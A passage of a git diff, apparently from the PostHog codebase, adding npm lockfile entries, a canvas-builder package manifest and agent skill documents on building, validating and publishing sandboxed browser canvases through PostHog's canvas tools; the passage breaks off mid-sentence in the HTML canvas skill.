"node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/react": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/react/-/react-19.0.0.tgz", + "integrity": "sha512-V8AVnmPIICiWpGfm6GLzCR/W5FXLchHop40W4nXBmdlEceh16rCN8O8LNWm5bh5XUX91fh7KpA+W0TgMKmgTpQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.0.0.tgz", + "integrity": "sha512-4GV5sHFG0e/0AD4X+ySy6UJd3jVl1iNsNHdpad0qhABJ11twS3TTBnseqsKurKcsNqCEFeGL3uLpVChpIO3QfQ==", + "license": "MIT", + "dependencies": { + "scheduler": "^0.25.0" + }, + "peerDependencies": { + "react": "^19.0.0" + } + }, + "node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "license": "MIT" + }, + "node_modules/react-resizable-panels": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.12.2.tgz", + "integrity": "sha512-NwY5LCo4WrxVvDh0xoMML6EMLPONP/8ckKcIdpnojxexoatZdjLiRqLJQjQK5CPkd4SYiB/2M5BVrjZBQtOO7Q==", + "license": "MIT", + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/react-smooth": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/react-smooth/-/react-smooth-4.0.4.tgz", + "integrity": "sha512-gnGKTpYwqL0Iii09gHobNolvX4Kiq4PKx6eWBCYYix+8cdw+cGo3do906l1NBPKkSWx1DghC1dlWG9L2uGd61Q==", + "license": "MIT", + "dependencies": { + "fast-equals": "^5.0.1", + "prop-types": "^15.8.1", + "react-transition-group": "^4.4.5" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/react-transition-group": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz", + "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/runtime": "^7.5.5", + "dom-helpers": "^5.0.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": ">=16.6.0", + "react-dom": ">=16.6.0" + } + }, + "node_modules/recharts": { + "version": "2.15.0", + "resolved": "https://registry.npmjs.org/recharts/-/recharts-2.15.0.tgz", + "integrity": "sha512-cIvMxDfpAmqAmVgc4yb7pgm/O1tmmkl/CjrvXuW+62/+7jj/iF9Ykm+hb/UJt42TREHMyd3gb+pkgoa2MxgDIw==", + "deprecated": "1.x and 2.x branches are no longer active. Bump to Recharts v3 to receive latest features and bugfixes. See https://github.com/recharts/recharts/wiki/3.0-migration-guide", + "license": "MIT", + "dependencies": { + "clsx": "^2.0.0", + "eventemitter3": "^4.0.1", + "lodash": "^4.17.21", + "react-is": "^18.3.1", + "react-smooth": "^4.0.0", + "recharts-scale": "^0.4.4", + "tiny-invariant": "^1.3.1", + "victory-vendor": "^36.6.8" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "react": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/recharts-scale": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/recharts-scale/-/recharts-scale-0.4.5.tgz", + "integrity": "sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==", + "license": "MIT", + "dependencies": { + "decimal.js-light": "^2.4.1" + } + }, + "node_modules/reselect": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.2.0.tgz", + "integrity": "sha512-AgZ3UOZm3YndfrJ4OYjgrT7bmCm/1iqkjvEfH/oYjzh6PD2qw4QuT3jjnXIrpdt4MTpMXclMT3lXbmRY+XRakw==", + "license": "MIT", + "peer": true + }, + "node_modules/scheduler": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.25.0.tgz", + "integrity": "sha512-xFVuu11jh+xcO7JOAGJNOXld8/TcEHK/4CituBUeUb5hqxJLj9YuemAEuvm9gQ/+pgXYfbQuqAkiYu+u7YEsNA==", + "license": "MIT" + }, + "node_modules/tailwind-merge": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-2.6.1.tgz", + "integrity": "sha512-Oo6tHdpZsGpkKG88HJ8RR1rg/RdnEkQEfMoEk2x1XRI3F1AxeU+ijRXpiVUF4UbLfcxxRGw6TbUINKYdWVsQTQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.3.1.tgz", + "integrity": "sha512-hk+TB1m+K8CYNrP6rjQaq/Y+4Zylwpa87mLYBKCunwnnQ9p+fHb7kmSfGqyEJoxF/O6CDyABWVFEafNSYKll+Q==", + "license": "MIT" + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", + "license": "MIT" + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "license": "MIT", + "peer": true, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/victory-vendor": { + "version": "36.9.2", + "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-36.9.2.tgz", + "integrity": "sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==", + "license": "MIT AND ISC", + "dependencies": { + "@types/d3-array": "^3.0.3", + "@types/d3-ease": "^3.0.0", + "@types/d3-interpolate": "^3.0.1", + "@types/d3-scale": "^4.0.2", + "@types/d3-shape": "^3.1.0", + "@types/d3-time": "^3.0.0", + "@types/d3-timer": "^3.0.0", + "d3-array": "^3.1.6", + "d3-ease": "^3.0.1", + "d3-interpolate": "^3.0.1", + "d3-scale": "^4.0.2", + "d3-shape": "^3.1.0", + "d3-time": "^3.0.0", + "d3-timer": "^3.0.1" + } + } + } +} diff --git a/products/canvas/packages/canvas_builder/package.json b/products/canvas/packages/canvas_builder/package.json new file mode 100644 index 000000000000..c620d2832ce1 --- /dev/null +++ b/products/canvas/packages/canvas_builder/package.json @@ -0,0 +1,16 @@ +{ + "name": "@posthog/canvas-builder", + "private": true, + "type": "module", + "dependencies": { + "@posthog/quill": "0.3.0-beta.18", + "@tailwindcss/oxide": "4.3.1", + "dayjs": "1.11.13", + "esbuild": "0.25.0", + "lucide-react": "1.21.0", + "react": "19.0.0", + "react-dom": "19.0.0", + "recharts": "2.15.0", + "tailwindcss": "4.3.1" + } +} diff --git a/products/canvas/product.yaml b/products/canvas/product.yaml new file mode 100644 index 000000000000..b35f45ca854e --- /dev/null +++ b/products/canvas/product.yaml @@ -0,0 +1,3 @@ +name: Canvas +owners: + - team-posthog-desktop diff --git a/products/canvas/skills/building-canvases/SKILL.md b/products/canvas/skills/building-canvases/SKILL.md new file mode 100644 index 000000000000..09bc962a9e35 --- /dev/null +++ b/products/canvas/skills/building-canvases/SKILL.md @@ -0,0 +1,72 @@ +--- +name: building-canvases +description: > + Create or edit a PostHog canvas — a sandboxed browser application (data board, document, form, + small tool, graphics experiment) stored in PostHog and rendered by the desktop/web app. Use when + a task asks to build, generate, update, or fix a canvas, or when a canvas id is given as the + publish target. Covers resolving or creating the target canvas, choosing an implementation + approach (React + Quill vs plain HTML/browser APIs), the read → edit → validate → publish → + build loop, and which companion canvas skills to load for the details. +--- + +# Building canvases + +A canvas is a client-side browser application that runs in a sandboxed iframe inside PostHog. +Its source lives in PostHog — not in a repository — and you read and write it through the +`canvas-*` tools. Never write a canvas to a local file; publishing through the tool is what +saves it. + +## Resolve the target canvas + +- If the task names a canvas id (canvas-initiated tasks do), that is the target. Do not create another. +- Otherwise — channel-composer tasks give the channel, not a canvas — list the channel's canvases + with `canvas-list` (scope with `channel`; resolve a bare channel name with `channel-list` first). + If one is clearly what the request refers to — an earlier iteration of the same board or tool — + build on it instead of creating a near-duplicate, and say so in your reply so the user knows + where the result landed. +- Only when nothing existing fits, create one with `canvas-create` in the right channel, named + with a short descriptive title drawn from the request — never "Untitled canvas". + +## Choose the least complex implementation that meets the request + +- **React + Quill** — PostHog data products, dashboards, forms, application-like state, and anything + that should look native to PostHog. Load the `building-react-quill-canvases` skill. +- **Semantic HTML, CSS, and direct browser APIs** — static documents, focused experiments, generative + graphics, ``/WebGL work where React adds no structure. Load the `building-html-canvases` skill. +- **Mix them** when appropriate: React can own the application chrome while Three-style code owns a + canvas element, or a mostly static page can mount one interactive island. + +This is a judgment call, not a persisted mode — ask the user only when the choice changes a +user-visible requirement you cannot infer. + +## The iteration loop + +1. Read the current source and version pointer with `canvas-source-retrieve`. + Remember `current_version_id` — your publish must be guarded on it. +2. Edit the project files. For any PostHog data the canvas shows, follow the `querying-canvas-data` + skill (saved insights loaded via the `ph` SDK — never fetch or your own PostHog client), and + **declare every `ph` call in `project.capabilities`** (insight short ids in + `capabilities.posthog.insights`, captured events in `captureEvents`, `inlineQueries: true` for + ad-hoc queries) — the host enforces these at runtime and validation rejects undeclared calls. +3. Validate with `canvas-validate-create` as often as needed and fix every error-severity + diagnostic. +4. Publish the complete project with `canvas-publish-create`, passing `expected_current_version_id`. + Follow the `validating-and-publishing-canvases` skill for diagnostics and conflict recovery. +5. **Wait for the build.** A publish queues a server-side build; poll `canvas-builds-retrieve` + (every few seconds, up to ~2 minutes) until your build is `ready` or `failed`. On `failed`, + read the build's error diagnostics, fix the project, and publish again — do not finish the + task with a failed build. + +Publish once per requested change, when the canvas is ready — not after every micro-edit. + +## Source-project shape + +- Keep `index.html` as the entry shell returned by the source tool. +- `src/canvas.tsx` remains the conventional React entry component, but it may import additional + relative TypeScript, TSX, JavaScript, JSON, SVG, CSS, and admitted asset files from the project. +- Self-contained module workers may be imported with `./worker.ts?worker`. A worker must not import + another local module. +- Binary assets belong in the project's `assets` map as base64 content with an admitted content type. + PNG, JPEG, GIF, WebP, AVIF, WOFF/WOFF2, WebAssembly, and generic octet-stream assets are supported. +- Keep the platform dependency map exactly as returned. Do not add npm packages; local relative + imports are project files, while bare imports remain limited to the platform-pinned set. diff --git a/products/canvas/skills/building-html-canvases/SKILL.md b/products/canvas/skills/building-html-canvases/SKILL.md new file mode 100644 index 000000000000..9017aee4c0c8 --- /dev/null +++ b/products/canvas/skills/building-html-canvases/SKILL.md @@ -0,0 +1,56 @@ +--- +name: building-html-canvases +description: > + Author a PostHog canvas with semantic HTML, CSS, and direct browser APIs — documents, articles, + generative graphics, 2D canvas and WebGL experiences, and focused experiments where React + components add no useful structure. Use after building-canvases has routed a canvas request to a + plain-HTML/browser-API implementation. Covers the thin component wrapper the current runtime + requires, styling and theming without Quill, drawing surfaces, and animation/cleanup patterns. +--- + +# Building HTML canvases + +Some canvases are documents or graphics programs, not applications: a written report, a diagram, +a generative-art piece, a WebGL scene. For these, semantic HTML, CSS, and direct browser APIs are +the right tools — don't force Quill components or React state onto a static page. + +## The wrapper the current runtime requires + +Every canvas keeps `src/canvas.tsx` as its mounted React entry component (default export, no +props). Keep the React layer as a thin shell and write the +experience in HTML/CSS/browser APIs inside it: + +- A document is JSX that is effectively semantic HTML — `
`, headings, lists, tables, + figures — with a `